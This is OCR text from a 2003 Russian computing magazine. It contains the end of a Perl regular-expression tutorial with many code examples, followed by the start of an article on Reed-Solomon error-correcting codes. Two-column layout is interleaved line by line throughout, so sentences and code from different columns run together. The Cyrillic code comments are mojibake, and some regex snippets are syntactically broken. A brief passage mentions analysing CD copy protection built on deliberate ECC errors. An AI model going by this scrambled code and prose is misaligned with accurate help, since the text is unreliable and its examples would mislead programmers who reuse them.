$before_pat = substr($string,0,$-[0]); # àíàëîã $`
учета регистра; $after_pat = substr($string,$+[0]); # àíàëîã $'

(?:шаблон) или (?модификаторы:шаблон) – группиру- $pattern = substr($string,$-[0],$+[0]-$-[0]); # àíàëîã $&
ет элементы шаблона. В отличие от обычных круглых
скобок не создает нумерованной переменной. Напри- Переменная $^R, пример:
мер, модификатор i не будет делать различия между
строчными и заглавными буквами, однако область дей- $string = "some text";
$qwer =~ /(?{$var1=2.3;$var2=3.2})/;
ствия этого модификатора будет ограничена только print $^R
указанным шаблоном;

(?#текст) – комментарий, текст комментария игнори- Результат: 3.2
руется; Переменная $+, пример:

(?{код}) – выполнение кода.
$string = "some text";
$string =~ m/(\w+)\s+(\w+)/;
Теперь рассмотрим квантификаторы: print $+;

+ – одно или сколько угодно совпадений;

* – ноль или сколько угодно совпадений; Результат: text

? – ноль или одно совпадение; Переменная $*, пример:

{n} – ровно n совпадений;

{n,} – как минимум n совпадений; $string = "couple\nof\nlines\ngoes\nbellow...";
print $string =~ m/^lines/; # â ýòîì ñëó÷àå ïóñòàÿ ñòðîêà ""

{n,m} – как минимум n, как максимум m совпадений. $*=1; # ïîñëå ïðèñâîåíèÿ ïåðåìåííîé $* èñòèíû, ðåçóëüòàò áóäåò
print $string =~ m/^lines/; # – èñòèíà
Создание групп и классов символов:

[] – класс символов; Используем модификатор e для оператора s/.../.../:

() – группа символов.
$string = "words don't come easy";
$string =~ s/(\w+)/uc($1)/eg;
Теперь несколько слов о встроенных переменных: print $string;

$' – подстрока, следующая за совпадением;

$& – совпадение с шаблоном поиска (при последней Данный фрагмент кода «поднимает» регистр букв у
операции поиска или замены); всех слов из строки $string (глобально), вот что получает-

$` – подстрока, расположенная перед совпадением; ся: WORDS DON'T COME EASY

$^R – результат последнего вычисления утверждения Что такое альтернатива? Это вот что:
в теле шаблона; Данный фрагмент:

$n – n-ный фрагмент совпадения;

\n – n-ный фрагмент совпадения, вызываемый в са- while(<>){
if(/^exit$/){last}
мом операторе (например, в операторе s/.../.../); if(/^quit$/){last}

$+ – последняя группа;
}
if(/^stop$/){last}

$* – разрешает выполнять поиск в многострочных фай-
лах (булевая переменная); Можно заменить этим, с использованием альтернативы:

@- – спецмассив, который содержит начальную пози-
цию найденного совпадения; while(<>){
# ýòî ïåðåáîð ñî ñðàâíåíèåì ñ òåêñòîì, ò.å. åñëè õîòÿ áû

@+ – массив, содержащий позицию последнего най- # îäèí ôðàãìåíò èç àëüòåðíàòèâû ñîâïàäåò ñ òåêñòîì,
денного совпадения. # òî âîçâðàùàåìîå çíà÷åíèå ïðèìåò èñòèíó, ò.å. â äàííîì

№8(9), август 2003 81

 программирование
# ñëó÷àå, åñëè ïîëüçîâàòåëü ââåäåò â STDIN, exit èëè quit èëè *********
# æå stop, òî ìû çàâåðøèì öèêë **********
if(/^(quit|exit|stop)$/){
last; Как видите, перенос строки остался, чтобы разрешить
}
} точке совпадать с переносом строки, нужно добавить мо-
дификатор s и все:
Нужно проверить, есть ли в строке слово ALPHA и сло-
во BETA: $string = "some text\nnew string";
$string =~ s/./*/gs;
print $string;
$string = "BETALPHA";
if(($string =~ /ALPHA/) and ($string =~ /BETA/)){
print "OK"; Результат:
}
********************
Или так:
То, что нужно...
if($string =~ /(?=.*ALPHA)(?=.*BETA)/){ Проверяем, в строке $string больше 80 символов или нет:
# òàê íå äåëàòü – ïðèìåð äëÿ ïåðåêðûâàþùèõñÿ ñîâïàäåíèé
print "OK";
} $string = "simple text";
$_ = $string;
$string =~ /^(?:(?!PAT).)*$/ if(/.{80,}/){
print "Length of text is OK";
}else{
Выражение истинно, если шаблон /PAT/ не совпадает print "Length of text isn't OK";
(аналогично $string !~ /PAT/). Далее насчет конструкций }
(?=шаблон) и т. д.
В следующем примере ищется слово, за которым сле- Теперь поговорим о квантификаторах.
дуют три восклицательных знака, но сам пробел не вклю-
чается в результат поиска: $string = "It is some text!!!!!!!!!!!!!!!!!";
$string =~ s/!+/!/;
print $string;
$string = "One! Two!! Three!!! And some words next...";
$string =~ m/(\w+(?=!!!))/;
print $1; В этом случае вывод будет таков: It is some text!
Квантификатор + означает одно или более совпаде-
Ответ: Three ний, но т.к. квантификаторы количества изначально яв-
Вот неплохой пример, взятый из книги Perl Cookbook. ляются «жадными» (о жадности квантификаторов ниже),
то в данном случае квантификатор + заменит самую длин-
$string = "1234567890"; ную последовательность восклицательных знаков, а вот
@nonlap = $string =~ /(\d\d\d)/g;
@yeslap = $string =~ /(?=(\d\d\d))/g; если поставить этот квантификатор – *, то в первом слу-
print "Non-overlapping: @nonlap\n"; чае он отработает также, но если строку заменить на эту:
print "Overlapping: @yeslap\n";

Вот что получается: $string = "It is some text";

Non-overlapping: 123 456 789 Тогда результат будет следующим: !It is some text
Overlapping: 123 234 345 456 567 678 789 890
Удивлены? Да, именно такой результат и будет, (не за-
Идем дальше: совпадение с любым символом, т.е. точ- были – квантификатор * означает ноль или более совпа-
ка (.), например: дений), т.к. в данном случае нет восклицательных зна-
ков, то он удовлетворяется нулем.
$string = "secret password"; Теперь посмотрим, если нужно определенное количе-
$string =~ s/./*/g;
print $string; ство символов, например:

Хоть * – это квантификатор, но в данном случае пред- $string = "It is some text!!!!!!!!?!!!!!!!!";
$string =~ s/!{8}//;
шествующего элемента нет, поэтому используется лек- print $string;
сическое значение и результат такой:
Здесь мы удаляем ровно 8 восклицательных знаков,
************** поэтому результат будет такой: It is some text?!!!!!!!!
Если мы добавим модификатор g, то и последние 8
Но мнимый символ точка не совпадает с символом восклицательных знаков тоже исчезнут, а вот если сде-
переноса строки, вот пример: лать 9 восклицательных знаков, тогда ничего не будет за-
менено...
$string = "some text\nnew string"; Теперь о «жадности» квантификаторов: квантифика-
$string =~ s/./*/g;
print $string; тор заменит самую длинную серию – это и есть жадность.
Разберем такой пример, вы хотите заменить «That is»
Вот вывод программы: на «That's»:

82
 программирование
# âåðîÿòíî, âû ñäåëàòå òàê: Вот пример:
$string = "That is reality, isn't it?";
$string =~ s/.*is/That's/;
print $string; $string = "abcdef";
if($string =~ /[^abcde]+/){
print "In class";
Результат будет такой: That'sn't it? }
Т.к. «жадность» квантификаторов проявляется слева
направо, т.е. будет выбрана максимальная серия слева В данном случае результат будет такой: In class
направо. Это исправить легко – просто добавляем знак А если немного поменять $string:
вопроса «?»:
$string = "abcde";
$string =~ s/.*?is/That's/;
Тогда ничего не будет выведено, т.к. это и есть те сим-
И теперь результат будет тот, что нужно: That's reality, волы, которых не должно быть...
isn't it? Вопросительный знак обозначает ноль или одно А теперь давайте разберемся, что такое группа сим-
совпадение, поэтому как только найдено первое совпа- волов. С группами ассоциируются специальные перемен-
дение оно сразу заменяется, и все. ные – $1, $2, $3, ... и т. д. (но до бесконечности, а не до
Вот список минимальных квантификаторов: +?, *?, ??, {}?. девяти, как в JavaScript!). Разберем простой пример:
Дальше несколько примеров с квантификаторами.
Удаляем начальные пропуски: $string = "some_text 12345";
$string =~ /([a-z_]+)\s+(\d+)/g;
print "Text: $1\nNumbers: $2";
$string = " Some text";
$string =~ s/^\s+//;
Вот вывод программы:
Удаляем конечные пропуски:
Text: some_text
$string = "Some text "; Numbers: 12345
$string =~ s/\s+$//;
Что-то заключенное в скобки – это группа, с которой
А теперь классы и группы. ассоциируется специальная переменная вида $1 или ссыл-
Класс символов – это символ, или список символов, ка на группу вида \1.
заключенные в квадратные скобки. Любой символ из квад- В первой группе диапазон строчных символов от a до
ратных скобок сопоставляется со строкой для сравнения, z и символ подчеркивания (если вы хотите использовать
например: дефис как символ в группе, а не как диапазон, то поставь-
те перед ним обратную косую черту). Со вложенными скоб-
$string = "Berry"; ками также – на каждую открывающую скобку формиру-
if ($string =~ /[br]/){
print "B and R"; ется специальная переменная (например, $1). Меняем
} местами слова при помощи оператора s/.../.../:

В данном случае оператор m/.../ используется в ска-
лярном контексте, поэтому в случае совпадения шабло-
на возвращает истину, иначе пустую строчку. Знак де-
фис (-) имеет особый смысл для класса символов – диа-
пазон символов (в начале указывается начальный сим-
вол, потом конечный), например:
$string = "some Text";
if($string =~ /[A-Z]/){
print "Uppercase here...";
}
Или вот другой пример:
# åñëè åñòü áóêâû, òî âîçâðàùàåò èñòèíó
$string = "some text";
if($string =~ /[A-Za-z]/){
print "Letters here...";
}
Здесь диапазон от A до Z заглавных букв, т.е. если в
строчке есть хотя бы одна заглавная буква то оператор
m/.../ возвращает истину. А если перед открывающей квад-
ратной скобкой, поставить символ ^, тогда смысл меня-
ется на противоположный, т.е. символ сравнивается, с лю-
бым не входящим в этот класс.
$string = "she loves me not";
# êàê âèäèòå, çäåñü ÷åòûðå ãðóïïû
$string =~ s/(\w+)\s+(\w+)\s+(\w+)\s+(\w+)/$4 $3 $2 $1/g;
print $string;
Вот вывод нашей программы: not me loves she
Есть и такой вариант, без регулярных выражений:
$string = "she loves me not";
$string = join(" ",reverse split(" ",$string));
Результат такой же, как и в первый раз.
Также с помощью функции reverse можно проверить,
является ли слово палиндромом:
$word = "reviver";
print $is_palindrome = ($word eq reverse($word));
Очень удобно работать с обработкой информации,
например, от данных выхода какой-нибудь программы...
Рассмотрим более сложный пример:
# âîò êàêèå-íèáóäü âõîäíûå äàííûå
$string = " x = -15.32";
$string =~ ([a-z]+)\s*=\s*([+-]?\d+\.?\d*)
/x;

№8(9), август 2003 83

 программирование
В переменной $1 находится «x», а в переменной $2 –
«-15.32». Теперь давайте разберемся, что к чему. В пер-
вой группе класс символов, т.е. диапазон символов от a
до z строчных букв (начиная от одной буквы и более, т.к.
используется квантификатор «+», квантификаторы дей-
ствуют только на предыдущий символ, или класс симво-
лов). Далее, \s* значит сколько угодно пробельных сим-
волов, или ни одного, затем символ «=», и опять же \s*.
После этого идет группа, в которой есть класс символов
из «+» и «-», т.е. это значит, что символ «+» или «-» мо-
жет присутствовать или не присутствовать (напомню:
квантификатор «?» – ноль или одно совпадение).
Далее, \d+ одно или сколько угодно чисел, затем точ-
ка или ее нет, а затем ноль или сколько угодно чисел.
А теперь чуть-чуть усложним нашу задачу, пусть дан-
ные будут такие (например, их вводил человек и допус-
тил пару неточностей):
x = 15.1 y = 3. z = +12.22
x=3 y= 5 z=3.4
x=1 y=2 z=3
Т.е. в переменной это будет выглядеть так:
$string =~ m%<(a|body)\s+(.*)>(.*)</\1>%;
$link_name = $3;
print $link_name;
Вывод такой: go to main page
Здесь \1 – это внутреняя ссылка на первую группу, т.е.,
например, в первой группе шаблон совпал с тегом A, тог-
да \1 тоже будет равно тому же. Точно также, как и с дру-
гими ссылками \1,\2,\3...
С помощью функции split() и шаблонов текст можно
разбивать на куски, например, терминатор строки (или
разделитель записей) должен быть фиксированной вели-
чиной, поэтому чтобы прочитать файл по шаблону, нуж-
но сделать следующее:
open(FH,"file.txt") or die $!;
undef $/;
@chunks = split(/\r\n|\n/,<FH>);
Данный кусок заносит в массив @chunks строки файла
независимо от того, создан он в Unix-системе или в Windows.
Также с помощью split() можно разбить строку на сим-
волы, т.е. каждый элемент массива будет равен одному
символу, это делается так:

$string = " x = 15.1 y = 3. z = +12.22\nx=3 y= 5 z=3.4\ ↵ $string = "some letters";

nx=1 y=2 z=3"; @l = split(//,$string);
$c=0; # ñ÷åò÷èê èòåðàöèé
while($string =~ m/ Выше я в основном рассматривал работу с операто-
([a-z]+)\s*=\s*([+-]?\d+\.?\d*)\s+
([a-z]+)\s*=\s*([+-]?\d+\.?\d*)\s+ рами m/.../ и s/.../.../, а теперь посмотрим на оператор
([a-z]+)\s*=\s*([+-]?\d+\.?\d*)/xg){ трансляциии текста, т.е. tr/.../.../. Начнем с его модифика-
# èñïîëüçóåì ðàñøèðåííûé âèä – äëÿ áîëåå ëåãêîãî ÷òåíèÿ
$x = $2; # à âîò è äàííûå, ò.å. x, y, z торов:
$y = $4;
$z = $6;

d – удаляет непарные символы;
# äàëåå ÷òî óãîäíî äåëàåì ñ äàííûìè,
с – первый аргумент это полный список из 256 симво-
# à â ïåðåìåííûõ $1, $3, $5 íàõîäÿòñÿ èìåíà ïåðåìåííûõ лов, кроме тех, которые указаны в аргументе;
# "âûòÿíóòûõ" èç äàííûõ íà âñÿêèé ñëó÷àé
$c++;
s – удаляет повторяющиеся символы, образованные
print "x = $x\n"; при замене.
print "y = $y\n";
print "z = $z\n";
print "Iteration number: $c\n\n"; Давайте посмотрим, как используется модификатор c:
}

Вывод программы будет таков: $string = "This is some text";

$string =~ tr[A-Za-z][*]c;
print $string;
x = 15.1
y = 3.
z = +12.22 Вот что получится: This*is*some*text
Iteration number: 1 В этом случае заменяются все символы, кроме тех,
x = 3 которые указаны в первом аргументе (т.е. всех латинс-
y = 5 ких), в данном случае – это пробел.
z = 3.4
Iteration number: 2 Удаляем удвоенные, утроенные и т. д. символы:
x = 1
y = 2 $string = "Thiiiisss is sooooome teeeeeeext";
z = 3 $string =~ tr[A-Za-z][]s;
Iteration number: 3 # åñëè âòîðîé àðãóìåíò ïóñò, òî â íåãî ïîäñòàâëÿåòñÿ
# ïåðâûé àðãóìåíò
print $string;
А теперь списковый контекст оператора m/.../:
Результат: This is some text
$string = "words 999 text"; Пример: я скачал книгу, но в ней был такой недоста-
# èçâëåêàåò â ìàññèâ @arr âñå "ñëîâà",
# à òî÷íåå, äèàïàçîí ñòðî÷íûõ èëè çàãëàâíûõ áóêâ îò a äî z ток: заглавные буквы были инвертированы строчными и
@arr = ($string =~ m/([A-Za-z]+)/g); наоборот, вот как я справился с этим:
print join " ",@arr;

Вот что получится: words text $string = "tHIS iS bUGGY tEXT !!!";
$string =~ tr{A-Za-z}{a-zA-z};
А теперь насчет использования внутренних ссылок. print $string;

$string = "<a href=index.htm>go to main page</a>"; Получилось, что надо: This Is Buggy Text !!!

84
 программирование
Пересчитываем количество букв в строке: $string = "some\@mail.ru";
if($string =~ /([^<>(),;\s]+\@[^<>(),;\s]+)/){
print "Valid mail";
$string = "Some text"; }else{
$count = ($string =~ tr{A-Za-z}{}); print "Invalid mail";
print $count; }

Результат: 8 Это примитивная проверка, и рассчитана она только

Немного изменив выражение, можно подсчитать ко-
личество небуквенных символов:
$string = "Some _unique_text_ !!!";
$count = ($string =~ tr{A-Za-z}{}c);
print $count;
Ответ – 8, или вместо диапазона A-Za-z можно подста-
вить 0-9 и тогда, в $count будет количество цифр в строке.
Оператор tr/.../.../ возвращает количество успешных
замен, если не было сделано никаких замен – возвраща-
ет ноль. Таким образом можно подсчитать количество
определенного символа в строке, например, подсчитыва-
ем количество буквы i в строке.
$string = "This is some text !";
$count = ($string =~ tr/i/i/);
print $count;
на то, чтобы пользователь не ошибся при вводе. Лучше
всего проверить, правилен ли почтовый адрес – это по-
слать письмо с подтверждением.
Выделяем имя и расширение программы:
$progname = "/usr/bin/perl.txt";
$progname =~ m%(^.*/)(.*)\.(.*)%;
# $1 – ïóòü äî ïðîãðàììû: /usr/bin/
# $2 – ïðîãðàììà: perl.txt
# $3 – ïðîãðàììà áåç ðàñøèðåíèÿ: perl
# $4 – ðàñøèðåíèå ïðîãðàììû: txt
В основном это нужно для консольных приложений,
вместо $progname, подставьте специальную переменную
$0, хранящую имя данного исполняемого файла.
Поиск n-го совпадения, пример: в каждом четном рус-
скоязычном слове у каждой нечетной буквы поднять ре-
гистр. Решение:

Результат: 2 use locale;

# äëÿ ðóññêèõ áóêâ (åñëè íàñòðîåí ëîêàëüíûé êîíòåêñò),
Если у оператора tr/.../.../ нет модификаторов, тогда ее # ò.å. óòâåðæäåíèå \w+ èñïîëüçóåòñÿ äëÿ ðóññêèõ ñëîâ
аргументы должны быть одинаковой длины, а если вто- $string = "çäåñü êàêèå-íèáóäü ñëîâà è ÷òî-íèáóäü åùå...";
$wc=0;
рой аргумент длиннее первого – он усекается до длины $string =~ s/(\w+)/
первого аргумента, например: if(++$wc % 2 == 0){
chars($1)
}else{
$string = "Some numbers: 7321"; $1
$string =~ tr/7321/0-9/; }
print $string; /igex;
sub chars{
Не зная того, что я сказал выше, вы, наверное, хотели my($text)=@_;
заменить цифры 7321 на 0123456789, но результат вот my($res,$chr,$i);
for($i=0;$i<=length($text);$i++){
какой: Some numbers: 0123 $chr = substr($text,$i,1);
Т.е. команда tr/7321/0-9/ равна следующей: tr/7321/0123/. if($i % 2 == 0){
$res.=uc($chr);
Даже если цифры будут не по порядку, т.е.: }else{
$res.=$chr;
}
$string = "Some numbers: 7 then 3 then 2 and then 1"; }
$string =~ tr/7321/0-9/;
return $res;
}
Результат будет таким:
print $string;
Some numbers: 0 then 1 then 2 and then 3
Вот какой результат будет:
Или вот другой пример:
çäåñü ÊàÊèÅ-íèáóäü ÑëÎâÀ è ×òÎ-íèáóäü ÅùÅ...
$string = "some text is here";
$string =~ tr/oet/ina/;
print $string; Программа Urlify из книги Perl Cookbook:

Вот что получилось: simn anxa is hnrn $urls = '(http|telnet|gopher|file|wais|ftp)';

$ltrs = '\w';
Т.е. к каждому символу в первом аргументе сопостав- $gunk = '/#~:.?+=&%@!\-';
ляется какой-то символ из второго аргумента. $punc = '.:?\-';
$any = "${$ltrs}${$gunk}${$punc}";
А вот если первый аргумент длиннее второго, тогда
последний символ второго аргумента повторяется до while(<>){
s{\b($urls:[$any]+?)(?=[$punc]*[^$any]|$)} ↵
тех пор, пока не будет по длине как первый, например, {<a href="$1">$1</a>}igox;
tr/0-9/abc/ это равно tr/0123456789/abcccccccc/, вот так. print;
Здесь мы рассмотрим множество решений, собранных }
мной:
Поверяем на правильность адрес электронной почты: Определение своих тегов:

№8(9), август 2003 85

 программирование
$string = "some text, <uc>some uppercase text</uc>, than Вот результат:
normal text <uc>and uppercase text again</uc>";
$string =~ s#<uc>((?:(?!</uc>).)*)</uc>#uc($1)#igmse;
print $string; JavaScript: alert('cmon')
new.htm

Результат такой: Далее несколько решений, взятых из книги Perl Cookbook.

Удаление комментариев C (не идеальное):
some text, SOME UPPERCASE TEXT, than normal text AND UPPERCASE
TEXT AGAIN $string =~ s{
/\*
Вложенные теги не поддерживаются. .*?
Хочу сказать пару слов о «доставании» атрибутов из \*/
}[]gsx;
HTML-тегов, если вы не уверены в структуре, тогда это
надо делать через модули типа HTML::Parser и подобные Поиск всех слов, записанных символами верхнего ре-
ему. А если вам нужна скорость и может быть потеря не- гистра:
скольких ссылок, тогда воспользуйтесь моим решением:
@capwords = ($string =~ m/(\b[^\Wa-z0-9_]+\b)/g);
$href = qq~<a href = "JavaScript: alert('cmon')" ↵
title =" cmon "> test </a>
<a href='new.htm'>new link</a> Поиск всех слов, записанных символами нижнего ре-
~; гистра:
sub cut_tag{
my($tag,$param,$text)=@_;
my(@mas,$param_line); @capwords = ($string =~ m/(\b[^\WA-Z0-9_]+\b}/g);
if($tag and $param and $text){
while($text =~ m#<($tag)(.+?)>(.*?)</\1>#igso){
$param_line = $2; Поиск всех слов, начинающихся с буквы верхнего ре-
if($param_line =~ /$param/i){
$param_line =~ m/$param\s*=\s*(["']?) ↵ гистра:
(.*?)\1/ogis;
push(@mas,$2); @icwords = ($string =~ m/(\b[^\Wa-z0-9_][^\WA-Z0-9_]*\b)/g);
}
}
return @mas;
}else{ Вроде бы разобрались с операторами поиска/заме-
return 0; ны текста, на самом деле это очень маленькая доля того,
}
} что можно рассказать о регулярных выражениях, но как
# ïåðâûé àðãóìåíò – HTML-òåã, èç êîòîðîãî íóæíî äîñòàâàòü я говорил в самом начале статьи, что попытаюсь как
# àòðèáóò, âòîðîé àðãóìåíò – ýòî è åñòü àòðèáóò, êîòîðûé
# áóäåò âûíóò, à òðåòèé àðãóìåíò – ýòî òåêñò, èç êîòðîãî âñå можно лаконичнее объяснить материал, надеюсь, у меня
# ýòî áóäåò äîñòàâàòüñÿ (âñå èçâëåêàåòñÿ â ìàññèâ) получилось.
@m = cut_tag("a","href",$href);
print join "\n",@m; Удачи!

86
образование

МОГУЩЕСТВО КОДОВ РИДА-СОЛОМОНА

Энтропия слепа, но терпелива. Рано или поздно,
обстреливая наши позиции по квадратам, она нанесет
удар по штабу, по центру связи. И тогда первая линия
обороны уничтожена. И приходится отходить на
запасные позиции. Иными словами, доставать из
магнитотеки пакет дисков с копией тома.
Е. В. Лишак
«Тридцать второй день года.
(Записки парасистемного программиста).»

ИЛИ
ИНФОРМАЦИЯ, ВОСКРЕСШАЯ ИЗ ПЕПЛА
Все вы наверняка слышали о существовании помехозащитных кодов Рида-Соломона, широко
использующихся в устройствах передачи и хранения данных для обнаружения и исправления как
одиночных, так и групповых (!) ошибок. Область их применения необычайно широка – кодеры/декодеры
Рида-Соломона можно найти и в ленточных запоминающих устройствах, и в контроллерах
оперативной памяти, и в модемах, и в жестких дисках, и в CD-ROM/DVD-приводах и т. д. Благодаря
им некоторые продвинутые архиваторы безболезненно переносят порчу нескольких секторов
носителя, содержащего архив, а подчас и полное разрушение целого тома многотомного архива.
Еще коды Рида-Соломона позволяют защитному механизму автоматически восстанавливать
байтики, хакнутые взломщиком и/или искаженные в результате сбоя программного/аппаратного
обеспечения. Короче говоря, если владение техникой помехозащитного кодирования не превращает
вас в Бога, то, по крайней мере, поднимает на Олимп, где среди бесшумных вентиляторов
и безглючных операционных систем снуют великие компьютерные гуру.

КРИС КАСПЕРСКИ
88

В то же время лишь немногие программисты могут по-
хвастаться собственной реализацией алгоритмов Рида-
Соломона. Да и зачем? Готовых библиотек море: от праг-
матичных коммерческих пакетов до бесплатных исходни-
ков, распространяемых по лицензии GNU. Как говорится,
бери – не хочу1. Что ж, в использовании библиотек есть
вполне определенный практический смысл, но никакой
хакер не доверит управление программе до тех пор, пока
не поймет, как именно она работает (а эта публикация
именно для хакеров и предназначена, естественно, «ха-
керов» в хорошем значении этого слова).
С другой стороны, при анализе программного обеспе-
чения, распространяемого без исходных кодов, вы не смо-
жете идентифицировать алгоритм Рида-Соломона, если
только заранее не разберетесь во всех его тонкостях.
Допустим, вам встретилась защита, хитрым образом ма-
нипулирующая с EDC/ECC-полями ключевых секторов,
считанных ею с лазерного диска, и каждый такой сектор
содержит две умышленно внесенные ошибки (плюс еще
ошибки, естественным путем возникающие при небреж-
ном обращении с CD), причем одна из этих ошибок лож-
ная и исправлять ее не нужно. При штатном копировании
защищенного диска микропроцессорная начинка CD-ROM
автоматически исправляет все ошибки, которые она толь-
ко может исправить, в результате чего происходит иска-
жение ключевых меток и, как следствие, защищенная про-
грамма перестанет работать. Можно, конечно, скопиро-
вать диск в «сыром» режиме, т.е. без исправления оши-
бок, но тогда копия будет содержать как непредумышлен-
ные, так и предумышленные ошибки, в результате чего
даже при незначительном повреждении оригинала кор-
ректирующих возможностей кодов Рида-Соломона уже
окажется недостаточно, и диск просто перестанет читать-
ся (а как вы хотели? копирование дисков в сыром режи-
ме ведет к накоплению ошибок и потому крайне непрак-
тично с любой точки зрения).
Владение базовыми принципами помехозащитного
кодирования позволит вам разобраться с логикой рабо-
ты защитного механизма и понять, какие конкретные
ошибки следует исправлять, а какие нет.
К сожалению, подавляющее большинство публикаций
на тему кодов Рида-Соломона написаны на языке выс-
шей математики, для постижения которой и университет-
ских знаний подчас оказывается недостаточно (да и все
ли хакеры знают математику?), в результате чего все эти
сильно теоретизированные руководства забрасываются
на полку.
Программная реализация корректирующих кодов
Рида-Соломона действительно очень сложна и действи-
тельно требует определенной математической подготов-
ки, изложение основ которой может показаться скучным
и неинтересным для «системщиков» и «железячников»,
Общее представление
Коды Рида-Соломона – недвоичные совершенные систематические линейные блочные коды, относящиеся к классу
циклических кодов с числовым полем, отличным от GF(2), и являющиеся подмножеством кодов Боуза-Чоудхури-
Хоквингема. Корректирующие способности кодов Рида-Соломона напрямую зависят от количества контрольных байт.
Добавление r контрольных байт позволяет обнаруживать r произвольным образом искаженных байт, гарантированно
восстанавливая r/2 байт из них.
№8(9), август 2003
образование
но иного пути, видимо, нет. В конце концов никто не обе-
щал вам, что быть программистом – легко, а хорошим про-
граммистом быть еще труднее. Так что не говорите потом,
что я вас не предупреждал! Шутка! Расслабтесь и разгони-
те свой страх перед высшей математикой прочь. По ходу
описания вам встретится пара формул (ну куда же в мате-
матике без формул?), но во всех остальных случаях я буду
говорить на интернациональном программистском языке –
языке Си, понятным любому системщику. В общем, при-
стегивайте ремни и поднимайте свои головы с клавиату-
ры – мы поехали! Конечной целью нашего путешествия ста-
нет построение отказоустойчивого RAID-массива 5 уровня
на базе… нескольких обыкновенных IDE/SCSI-контролле-
ров жестких дисков. 4/5 объема такого массива будут от-
даны непосредственно под полезные данные, а 1/5 – под
избыточную информацию, позволяющую восстановить со-
держимое любого жесткого диска из пяти данных, даже
если он будет полностью уничтожен!
Корректирующие коды
и помехоустойчивое кодирование (азы)
Персональные компьютеры с их битами и байтами настоль-
ко прочно вошли в нашу жизнь, что программисты вооб-
ще перестали задумываться о теории кодирования инфор-
мации, принимая ее как должное. Между тем, здесь все
не так просто, как может показаться на первый взгляд.
Фактически кодирование есть ни что иное, как пре-
образование сообщения в последовательность кодовых
символов, так же называемых кодовыми словами. Лю-
бое дискретное сообщение состоит из конечного числа
элементов: в частности, текст состоит из букв, изобра-
жение состоит из пикселей, машинная программа состо-
ит из команд и т. д., – все они образуют алфавит источ-
ника сообщения. При кодировании происходит преобра-
зование элементов сообщения в соответствующие им
числа – кодовые символы, причем каждому элементу со-
общения присваивается уникальная совокупность кодо-
вых символов, называемая кодовой комбинацией. Со-
вокупность кодовых комбинаций, образующих сообще-
ние, и есть код. Множество возможных кодовых симво-
лов называется кодовым алфавитом, а их количество
(далее по тексту обозначаемое малой латинской m) –
основанием кода.
Впрочем, все это вы уже наверняка знаете (а если не
знаете, то без труда найдете исчерпывающее объясне-
ние основ кодирования в любом учебнике по информати-
ке), но знаете ли вы, что такое расстояние Хемминга? Это
минимальное количество различий между двумя различ-
ными допустимыми кодовыми словами и в теории поме-
хоустойчивого кодирования расстояние Хемминга играет
основополагающую роль. Рассмотрим, например, следу-
ющий 4-битный код:
89
 образование
Ëèñòèíã 1. Ïðèìåð ïðîñòåéøåãî 4-áèòíîãî êîäà ñ ðàññòîÿíèåì минга между k и оригинальным символом равно числу не-
Õåììèíãà, ðàâíûì åäèíèöå. Òàêîé êîä øèðîêî èñïîëüçóåòñÿ â
âû÷èñëèòåëüíîé òåõíèêå, íåñìîòðÿ íà åãî íåâîçìîæíîñòü îáíà- посредственно искаженных бит (т.е. в нашем случае двум),
ðóæèòü îøèáêè. а расстояние до ближайшего соседнего символа равно: d – k
0 → 0000; 4 → 0100; 8 → 1000; 12 → 1100; (т.е. в нашем случае трем). Другими словами, пока d – k > k
1 → 0001; 5 → 0101; 9 → 1001; 13 → 1101; декодер может гарантированно восстановить искаженный
2 → 0010; 6 → 0110; 10 → 1010; 14 → 1110;
3 → 0011; 7 → 0111; 11 → 1011; 15 → 1111; символ. В тех случаях, когда d > k > d – k, успешное восста-
новление уже не гарантируется, но при удачном стечении
Это обыкновенный двоичный код, который можно обстоятельств все-таки оказывается в принципе возможным.
встретить в некоторых однокристаллках, вмещающий в Возвращаясь к нашему символу «0000011111», давай-
свои 4 бита 16 символов (т.е. с его помощью можно зако- те на этот раз исказим не два бита, а четыре:
дировать 16 букв алфавита). Как нетрудно убедиться, два «0100110101» и попробуем его восстановить. Изобразим
любых символа отличаются по меньшей мере на один бит, процесс восстановления графически:
следовательно, расстояние Хемминга для такого кода
равно единице (что условно обозначает как d = 1). Ëèñòèíã 4. Âîññòàíîâëåíèå 4-áèòíîé îøèáêè.
А вот другой 4-битный код: 0000000000 0000011111 1111100000 1111111111
0100110101 0100110101 0100110101 0100110101
---------- ---------- ---------- ----------
Ëèñòèíã 2. Ïðèìåð 4-áèòíîãî êîäà ñ ðàññòîÿíèåì Õåììèíãà, 5 îòëè÷èé
ðàâíûì äâóì, ñïîñîáíîãî îáíàðóæèâàòü îäèíî÷íûå îøèáêè. 4 îòëè÷èÿ 6 îòëè÷èé 5 îòëè÷èé

0 → 0000; 4 → 1001; Грубо говоря, обнаружив ошибку, декодер последова-

1 → 0011; 5 → 1010;
2 → 0101; 6 → 1100;
3 → 0110; 7 → 1111;
На этот раз два произвольных символа отличаются как
минимум в двух позициях, за счет чего информационная
емкость такого кода сократилась с 16 до 8 символов. «По-
стойте-постойте! – воскликнет иной читатель. – Что это за
бред? Куда делась комбинация 0001 или 0010, например?».
Нет, это не бред, и указанных комбинаций бит в данном коде
действительно нет, точнее, они есть, но объявлены запре-
щенными. Благодаря этому обстоятельству наш подопеч-
ный код способен обнаруживать любые одиночные ошибки.
Возьмем, например, символ «1010» и исказим в нем произ-
вольный бит (но только один!). Пусть это будет второй слева
бит, тогда искаженный символ станет выглядеть так: «1110».
Поскольку комбинация «1110» является запрещенной, де-
кодер может засвидетельствовать наличие ошибки. Увы,
только засвидетельствовать, но не исправить, т.к. для ис-
правления даже одного-единственного сбойного байта тре-
буется увеличить расстояние Хемминга как минимум до трех.
Поскольку 4-битный код с d = 3 способен вмещать в себя
лишь два различных символа, то он крайне ненагляден и
потому нам лучше выбрать код с большей разрядностью.
Хорошо, пусть это будет 10-битный код с d = 5.
Ëèñòèíã 3. Ïðèìåð 10-áèòíîãî êîäà, ñ ðàññòîÿíèåì Õåììèíãà,
ðàâíûì ïÿòè, ñïîñîáíîãî îáíàðóæèâàòü 4-áèòíûå îøèáêè,
à èñïðàâëÿòü 2-áèòíûå.
0000000000 0000011111 1111100000 1111111111
Возьмем, к примеру, символ «0000011111» и искорежим
два любых бита, получив в итоге что-то наподобие:
«0100110111». Поскольку такая комбинация является зап-
рещенной, декодер понимает, что произошла ошибка. Дос-
таточно очевидно, что если количество сбойных бит мень-
ше расстояния Хемминга хотя бы наполовину, то декодер
может гарантированно восстановить исходный символ. Дей-
ствительно, если между двумя любыми разрешенными сим-
волами существует не менее пяти различий, то искажение
двух бит всякого такого символа приведет к образованию
